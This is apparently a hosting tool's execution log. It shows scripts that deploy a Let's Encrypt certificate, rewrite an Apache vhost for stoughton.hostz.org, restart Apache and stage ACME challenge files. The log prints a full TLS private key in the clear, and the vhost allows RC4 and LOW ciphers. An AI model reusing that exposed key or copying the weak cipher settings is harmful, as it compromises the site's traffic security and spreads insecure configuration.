FG0Wqw0MbfwfYPTW+AwYhcAdDZ6pwU7QNOPydFUAgtCeSTGGB/PxV6Ik4mAEUcTR
QKNdwChl/vrNmuMz19ArFI5wXQmO36SfKWuSAnr8+XyQRp0P108H+9VElQKBgQC3
RZtbujrLS/thSd8vIHGSskhzFzacht6MQWixI1U3Xt7s3Uq+BR8WkA+ASEq7Qg8C
cVrGRwA/yLm/uUNbIgkRnV9cK2SBOBWC68qom5vr9uMAUCCI2xCGcDEHc+sQuqbC
/Jh8y7jX4TdVyAF3jrDR99UMJsrD4zxyFtYgYLUGHQKBgF7JoNKYcQhi2bdO5Jnk
FpC7N6wHbRcOadEPYUcDFBwQJzp7Ua/372JsrfDYAPTF72iVCIQsbS8JaWTSEYG/
1M4UzlKYBMMVV8RwueEnWi+nmZCSnfbtO5ErzjAjI+VQHxr0FNhIeWT2O3ss3/re
70IcgO/urCOxveWXHjSTXPJ8
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-08 06:00:20:
chmod 755 /tmp/pkp156812; /tmp/pkp156812; rm /tmp/pkp156812
2025-10-08 06:00:20:
dir=/etc/ssl/certs
2025-10-08 06:00:20:
PUT: /tmp/pkp708013
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hostz_stoughton_us.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-08 06:00:20:
chmod 755 /tmp/pkp708013; /tmp/pkp708013; rm /tmp/pkp708013
2025-10-08 06:00:20:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_stoughton_us.conf 42
ServerName stoughton.hostz.org
<VirtualHost *:80>
ServerName stoughton.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_stoughton
<Directory /var/www/hostz_stoughton>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/stoughton_access.log combined
ErrorLog /var/log/apache2/pjy/stoughton_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py index.php
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName stoughton.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_stoughton
<Directory /var/www/hostz_stoughton>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
Require all granted
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_stoughton/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/stoughton_secure_access.log combined
ErrorLog /var/log/apache2/pjy/stoughton_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
2025-10-08 06:00:20:
PUT: /tmp/pkp467305
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_stoughton_us.conf
TARGET=/etc/apache2/sites-enabled/hostz_stoughton_us.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ServerName stoughton.hostz.org
<VirtualHost *:80>
ServerName stoughton.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_stoughton
<Directory /var/www/hostz_stoughton>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/stoughton_access.log combined
ErrorLog /var/log/apache2/pjy/stoughton_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py index.php
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName stoughton.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_stoughton
<Directory /var/www/hostz_stoughton>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
Require all granted
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_stoughton/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/stoughton_secure_access.log combined
ErrorLog /var/log/apache2/pjy/stoughton_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hostz_stoughton_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hostz_stoughton_us.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_stoughton_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_stoughton_us.conf= 1'
fi
2025-10-08 06:00:21:
chmod 755 /tmp/pkp467305; /tmp/pkp467305; rm /tmp/pkp467305
2025-10-08 06:00:21:
2025-10-08 06:00:21:
PUT: /tmp/pkp114720
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-08 06:00:21:
chmod 755 /tmp/pkp114720; /tmp/pkp114720; rm /tmp/pkp114720
2025-10-08 06:00:22:
.
2025-10-08 06:00:22: Establishing a connection
2025-10-08 06:00:23:
PUT: /tmp/pkp259671
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-08 06:00:24:
chmod 755 /tmp/pkp259671; /tmp/pkp259671; rm /tmp/pkp259671
2025-10-08 06:00:24:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-10-08 06:00:24:
PUT: /tmp/pkp850065
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hostz_stoughton_us.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-08 06:00:24:
chmod 755 /tmp/pkp850065; /tmp/pkp850065; rm /tmp/pkp850065
2025-10-08 06:00:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_stoughton_us.conf 1887
ServerName stoughton.hostz.org
<VirtualHost *:80>
ServerName stoughton.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_stoughton
<Directory /var/www/hostz_stoughton>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
Require all granted
</Directory>
CustomLog /var/log/apache2/pjy/stoughton_access.log combined
ErrorLog /var/log/apache2/pjy/stoughton_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.py index.php
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName stoughton.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_stoughton
<Directory /var/www/hostz_stoughton>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
Require all granted
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_stoughton/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/pjy/stoughton_secure_access.log combined
ErrorLog /var/log/apache2/pjy/stoughton_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.py index.php
</VirtualHost>
2025-10-08 06:00:25:
PUT: /tmp/pkp161730
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-08 06:00:25:
chmod 755 /tmp/pkp161730; /tmp/pkp161730; rm /tmp/pkp161730
2025-10-08 06:00:25:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d 5356
74:89:b8:0a:cb:c3:7b:49:1d:53:21:32:e2:f0:32:53
-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBWh1tbVXfZGdqRGgeNJiL+IIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA4MDUwMTQ0WhcNMjYwMTA2MDUwMTQzWjAeMRwwGgYDVQQD
ExNzdG91Z2h0b24uaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAr2vzrAnuthF/kRKXKDKtZ+q9vq4YtDDbNs3Br+rNwjjsXgJFXlgLGlVZ
DsGSghDpA0UHRnic/+ra5YOIZ2X2813pp5ZQIY3cdGU0Kd6+8Athd3nmfb/r6Kc6
3cLsJcEXm421XL7KDLaejYX2eYMUEkY3XNJbxP/gyMDwhYXffWzUcCoUeGOA7AYO
U9dWVh5x9Fx9INLAJtwWGmZb0EUnccRek43Qv1Uhg+j4e1SeLWzKicGecONEY0Q2
uc//DoeSQ6YnkQjrBUQL82ZNRNA4GDTn9t39PZoLlKLVacpjMOJVeD5fBKdS/bdt
fjFRpc+aaFLneZMKtEANexlkwxdMQQIDAQABo4ICITCCAh0wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTWXXL/88GAo6b7OTWIQy8s84jsXjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3N0b3VnaHRvbi5ob3N0
ei5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYcaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy85LmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA
7wB2AO08S9boBsKkogBX28sk4jgB31Ev7cSGxXAPIN23Pj/gAAABmcJn7u0AAAQD
AEcwRQIgDKglhOMEM8LHWUBTbbwePxQjvaJZW+aqg9OTXbLe7PkCIQCR5016KBeJ
AUMVeJyUbcyct7YcR1kCW7PDi87M5tBgMQB1ABmG1Mcoqm/+ugNveCpNAZGqzi1y
MQ+uzl1wQS0lTMfUAAABmcJn7vQAAAQDAEYwRAIgXRY7n2wAOMTpNOkweREuL8XF
7sRCeWZ39h8QjliiqQUCIHmu57zPwtj1Z2yJTyEcV5bIjKgfigihD1Cvv3pCHf6w
MA0GCSqGSIb3DQEBCwUAA4IBAQCN3RiB7kOUgYmBHGFoGTZxHd9FUQ97r1T6Bz2L
KdFcbQYqiNlKUNU4yAZAKnMyGpGrJ2bhm2t+GlIB5yfuU6VMgIFAUOTkB3u/4Hhb
/32Se0MYMVw5s6x5RjzZ828ea5A4JDbfLdP3mkdIOKp+AAZfaofQjsW4a3gPMdlw
VyNH/X3ylFVfEcBC1cqHZV3HPkmtsXygcE/nGGXnw2Mn/iuIOQJW/TbF2SaTfuq6
UeaKJ7cM1Etw7BJFYz1vTBv9P+CbGiR2oOFJwJ7TwI+tRvFvgDmAInZznpZm7TlG
QhgPc+D8up0LwaKq+J/KVm0f2yN/stkdXVXtFg1KgGfSAt2L
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCva/OsCe62EX+R
EpcoMq1n6r2+rhi0MNs2zcGv6s3COOxeAkVeWAsaVVkOwZKCEOkDRQdGeJz/6trl
g4hnZfbzXemnllAhjdx0ZTQp3r7wC2F3eeZ9v+vopzrdwuwlwRebjbVcvsoMtp6N
hfZ5gxQSRjdc0lvE/+DIwPCFhd99bNRwKhR4Y4DsBg5T11ZWHnH0XH0g0sAm3BYa
ZlvQRSdxxF6TjdC/VSGD6Ph7VJ4tbMqJwZ5w40RjRDa5z/8Oh5JDpieRCOsFRAvz
Zk1E0DgYNOf23f09mguUotVpymMw4lV4Pl8Ep1L9t21+MVGlz5poUud5kwq0QA17
GWTDF0xBAgMBAAECggEAV5grG+v1w/pm3bUPv6XWiv5fcxiSA2AmBm6l2ccAqYwt
EyBFLT//g028465rDwGMqPJOGLVfiDboyRRuB1uV/Z4Wb3WSW77vpztl2cZ9R3YX
XEaFfqNYFFt0/Ik5y/xoYmdXeZFXaRPDhl2vXqvCWQGw4Wu1IWC4COa286WOnJzo
QRonL7ZVXGbDnv3hJxJ+BLfimN1KHvGpRv8wm7V4gnsfqyhSq3ECjPsQsjsJIuEg
3CZEx0dZDSL3KNvhpPkrLHySPaUAtUXDtOFkcdwcWVYvscTxvKy7qz/6G8PIsAie
VvZ52Qo9JYbL/xZEGnJbH27pB1p/ZDYEpuUQyjc08QKBgQDh8aI3k7DDxO4VGdug
xDpUkAwt/RMUPMrScGiKuiFXnoY+F3C33glj5PjktkeM1NQU8uj6qEshy/MgzQ5+
E+h0Usm+wmAy4T3yvvoABy/eG+MDfOwFug0C+7Ixv/j5d+px7jo+/Oa3HB5UItZx
R/66d0HYpBldGlAnp77yrW6W7QKBgQDGwdGnGuXoMhVqUnburSv9WyFqwYbm32ge
ZigYFDD/0XZDCykrR/Ldx8KPH+Yfh4fyer7xS4nfI7A1SaSgRWyersy6FYgKdSBm
FPWIsRgHxc6CRwuXG+1IPlrqpi5oDsYaESvlxSYPlvAhjFbOnm2peTC4i/Xt2hqi
dOVHWr3sJQKBgQCvTIk+M4E+sqjBiFllZzmWaFh6ydImrm/yS7Jgh77cuyqOPCOB
FG0Wqw0MbfwfYPTW+AwYhcAdDZ6pwU7QNOPydFUAgtCeSTGGB/PxV6Ik4mAEUcTR
QKNdwChl/vrNmuMz19ArFI5wXQmO36SfKWuSAnr8+XyQRp0P108H+9VElQKBgQC3
RZtbujrLS/thSd8vIHGSskhzFzacht6MQWixI1U3Xt7s3Uq+BR8WkA+ASEq7Qg8C
cVrGRwA/yLm/uUNbIgkRnV9cK2SBOBWC68qom5vr9uMAUCCI2xCGcDEHc+sQuqbC
/Jh8y7jX4TdVyAF3jrDR99UMJsrD4zxyFtYgYLUGHQKBgF7JoNKYcQhi2bdO5Jnk
FpC7N6wHbRcOadEPYUcDFBwQJzp7Ua/372JsrfDYAPTF72iVCIQsbS8JaWTSEYG/
1M4UzlKYBMMVV8RwueEnWi+nmZCSnfbtO5ErzjAjI+VQHxr0FNhIeWT2O3ss3/re
70IcgO/urCOxveWXHjSTXPJ8
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-08 06:00:25: Establishing a connection
2025-10-08 06:00:27: Establishing a connection
2025-10-08 06:00:28:
PUT: /tmp/pkp159522
#!/bin/bash
if [ -d "/var/www/hostz_earth/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-08 06:00:29:
chmod 755 /tmp/pkp159522; /tmp/pkp159522; rm /tmp/pkp159522
2025-10-08 06:00:29:
1
2025-10-08 06:00:30: Establishing a connection
2025-10-08 06:00:31:
PUT: /tmp/pkp421058
#!/bin/bash
mkdir -p "/var/www/hostz_earth/.well-known/acme-challenge/"
cd "/var/www/hostz_earth/.well-known/acme-challenge/"
2025-10-08 06:00:32:
chmod 755 /tmp/pkp421058; /tmp/pkp421058; rm /tmp/pkp421058
2025-10-08 06:00:33:
2025-10-08 06:00:33: Establishing a connection
2025-10-08 06:00:33: Establishing a connection
2025-10-08 06:00:33:
PUT: /tmp/pkp159727
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_list/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-08 06:00:33:
chmod 755 /tmp/pkp159727; /tmp/pkp159727; rm /tmp/pkp159727
2025-10-08 06:00:33:
1
2025-10-08 06:00:34: Establishing a connection
2025-10-08 06:00:34:
PUT: /tmp/pkp692802
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_list/.well-known/acme-challenge/"
cat > IZV3no0-TzQVBmydc8nuudCqspgmsxW5CWhIZMyMsOI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
IZV3no0-TzQVBmydc8nuudCqspgmsxW5CWhIZMyMsOI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 IZV3no0-TzQVBmydc8nuudCqspgmsxW5CWhIZMyMsOI
cat > UI301a7y0MSOlfqpCU9CAd5CbTgLvOwpuqrHUX8KG74 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
UI301a7y0MSOlfqpCU9CAd5CbTgLvOwpuqrHUX8KG74.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 UI301a7y0MSOlfqpCU9CAd5CbTgLvOwpuqrHUX8KG74
2025-10-08 06:00:34:
chmod 755 /tmp/pkp692802; /tmp/pkp692802; rm /tmp/pkp692802
2025-10-08 06:00:34:
